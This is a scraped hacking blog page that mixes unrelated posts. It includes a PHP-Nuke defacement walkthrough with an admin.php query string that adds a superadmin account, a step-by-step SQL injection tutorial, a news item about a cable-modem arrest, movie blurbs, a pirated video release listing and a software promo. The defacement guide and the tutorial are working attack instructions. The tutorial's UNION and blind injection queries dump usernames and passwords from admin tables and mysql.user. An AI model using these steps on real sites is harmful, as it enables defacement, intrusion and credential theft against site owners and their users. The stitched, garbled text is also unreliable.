Last Update

Deface PHPNuke site

Here you must own efforts to find his targets.
His steps:
1. / nuke / index.php or / PHPNuke / index.php
2. / nuke / admin.php => yg above was converted to the admin.php
3. Enter this bug behind this site:
? AddAuthor & op = J4mbi & add_aid = add_name = God & H4ck3r & add_pwd = add_email = & add_radminsuper = 1 & admin = eCcgVU5JT04gU0VMRUNUIDEvKjox

For example: / nuke / admin.php?

op = AddAuthor & J4mbi & add_aid = add_name = God & H4ck3r & add_pwd = add_
email = & add_radminsuper = 1 & admin = eCcgVU5JT04gU0VMRUNUIDEvKjoxKalau not want
've meant the site admin on his same path.

But if successful, then the url / browsing appears
5. Enter your id & password was. Remember? antecedent see this!
username: J4mbi
password: H4ck3r
6. When it went into "Administration Menu" that site. Mengusai dictionary meaning is that the site now.

Now you select the image Mobile (no writing underneath Messages).
Column Title: Hacked by nick name you
Column Content: Path your web! <br> Hey admin ....... do you a need help? <br> Junkelse
<br> <br> <img src="">
Column Expiration: Unlimited
Continue click Add Messages tab are below.
7. If you've, open url / new browsing and then type this target site, for example him: / nuke / index.php or / PHPNuke / index.php. If it is not no results

try clicking Refresh tab imaginable in addition to the above url / browsing.

FBI arrested hacker free internet tool maker

IDG News Service - U.S. federal authorities arrested a 26-year-old man on Thursday for allegedly selling modified cable modems that enabled free Internet access, according to the U.S. Department of Justice.

Matthew Delorey of New Bedford, Mass., is charged with one count of conspiracy and one count of wire fraud. If convicted, he could face up to 20 years in prison for each charge, and a $250,000 fine.

Delorey allegedly ran a now-defunct Web site called, where hacked modems were sold. The modems had been modified in order to spoof the device's MAC (Media Access Control) address. It is possible then to either obtain free Internet access or make it appear that a different modem is obtaining access.

Authorities alleged that Delorey sold two of the modified modems to an undercover FBI agent.

Delorey also allegedly posted to YouTube showing how to get free Internet access through modified cable modems.

He allegedly posted instructional videos with titles such as " How to Get Free Internet Free Cable Internet Comcast or any Cable ISP - 100% works" and " How to bypass Comcast registration page with premod cable modem SB5100, SB 5101."

Federal authorities have recently moved against other people regarding cable modems. In October Ryan Harris, 26, was arrested for allegedly running a San Diego company called TCNISO that sold customizable cable modems and software that could be used to get free Internet service or a speed boost for paying subscribers. Harris is charged with conspiracy, computer intrusion and wire fraud.

Fake Identity (2010)

In Chechnya, an American doctor takes a detour in life when he helps a mysterious woman escape from her would-be assailant.



Hide Folders 2009

Hide Folders 2009 is a simple but ingenious program for Microsoft Windows XP and 2000 users. Every day we trust our personal files to a computer. Who knows how many people will want to get access to them? If you share your computer with co-workers, children, spouse or your computer is always connected to the Internet, your private files are under threat of being revealed. Since 2001, our Hide Folders software products help our users to hide private files and folders from prying eyes.

What's New in This Release

Features and benefits
- Effective protection methods allow you to hide folders out from users and applications in Microsoft Windows XP and Windows Vista
- Nobody but you will access your hidden folders.
- 4 protection methods available: Hide, Lock, Hide & Lock, Read Only
- NTFS, FAT32 and FAT volumes are supported.
- File masks support.
- Unlimited number of folders can be protected at the same time.
- Trusted processes support - processes which are permitted to access the protected data.
- No file system structure modifications will occur.
- Effective password protection when running program.
- Effective password protection when uninstalling program.
- Removing Hide Folders 2009 folder from the system will not uncover hidden folders.
- Files from hidden folders will not be lost even if someone tries to remove an upper-level folder.
- Clear recent documents option. Hide Folders 2009 clears records of recently accessed documents if these documents reside in the hidden folders.
- Clear Recycle Bin items originally located in hidden folders.
- Secure Hide Folders 2009 by removing itself from the list of mostly used programs (Windows start menu).
- Secure Hide Folders 2009 by removing itself from Add/Remove software Control Panel applet.
- Hide Folders 2009 will not hide your Windows, Windows System folders and Windows partition root folders - so careless using of Hide Folders 2009 would not bring the system down.
- True stealth mode - you cannot detect the program with Windows Task Manager.
- Safe mode support - The folders can be hidden even if your computer is running in safe mode.
- Hot keys to manage basic Hide Folders 2009 functions.
- Command line support of all main Hide Folders 2009 functions.
- Support of folders named with national language symbols .
- Hide Folders 2009 is multilingual software, its user interface supports different languages and can be easily translated to new languages.
- Intuitive and extremely easy-to-use user interface with visual styles support.



Legion (2010)

An out-of-the-way diner becomes the unlikely battleground for the survival of the human race. When God loses faith in humankind, he sends his legion of angels to bring on the Apocalypse.



The Book of Eli (2010)

[FORMAT]:.......................[ Matroska
[GENRE]:........................[ Action | Adventure | Drama | Thriller | Western
[FILE SIZE]:....................[ 400 MiB
[NO OF CDs]:....................[ 1
[RESOLUTION]:...................[ 656*256
[ASPECT RATIO]:.................[ 2.5
[FRAME RATE]:...................[ 25.000 fps
[LANGUAGE ]:....................[ English
[SUBTITLES]:....................[ muxed
[ORIGINAL RUNTIME]:.............[ 01:48:48
[RELEASE RUNTIME]:..............[ 01:48:48
[SOURCE]:.......................[ KiNGDOM

Screen Shoot



SQL Injection Tutorial by Junkelse (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it) :D

2.Blind SQL Injection (the harder part)

So let's start with some action :D

1). Check for vulnerability

Let's say that we have some site like this

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error. order by 1/* <-- no error order by 2/* <-- no error order by 3/* <-- no error order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that) that means that the it has 3 columns, cause we got an error on 4. 3). Check for UNION function With union we can select more data in one sql statement. so we have union all select 1,2,3/* (we already found that number of columns are 3 in section 2). ) if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :) 4). Check for MySQL version union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly. let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this union all select 1,@@version,3/* if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." i didn't see any paper covering this problem, so i must write it :) what we need is convert() function i.e. union all select 1,convert(@@version using latin1),3/* or with hex() and unhex() i.e. union all select 1,unhex(hex(@@version)),3/* and you will get MySQL version :D 5). Getting table and column name well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...

now to check column names. union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : ) union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie. union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... :D

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together :D

for that we use concat() , i decribe it earlier.

i.e union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.


That's all in this part, now we can proceed on harder part :)

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test and 1=2 <--- this is false so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection. 1) Get the MySQL version to get the version in blind attack we use substring i.e and substring(@@version,1,1)=4 this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e and substring(@@version,1,1)=5 2) Test if subselect works when select don't work then we use subselect i.e and (select 1)=1 if page loads normally then subselects work. then we gonna see if we have access to mysql.user i.e and (select 1 from mysql.user limit 0,1)=1 if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE. 3). Check table and column names This is part when guessing is the best friend :) i.e. and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) then if the page loads normally without content missing, the table users exits. if you get FALSE (some article missing), just change table name until you guess the right one :) let's say that we have found that table name is users, now what we need is column name. the same as table name, we start guessing. Like i said before try the common names for columns. i.e and (select substring(concat(1,password),1,1) from users limit 0,1)=1 if the page loads normally we know that column name is password (if we get false then try common names or just guess) here we merge 1 with the column password, then substring returns the first character (,1,1) 4). Pull data from database we found table users i columns username password so we gonna pull characters from that. and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false. and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character. and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght) and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher. and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number. and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher. and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105


we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR :D

Hope you learned something from this paper.

Have FUN! (:

To be continued and updated...


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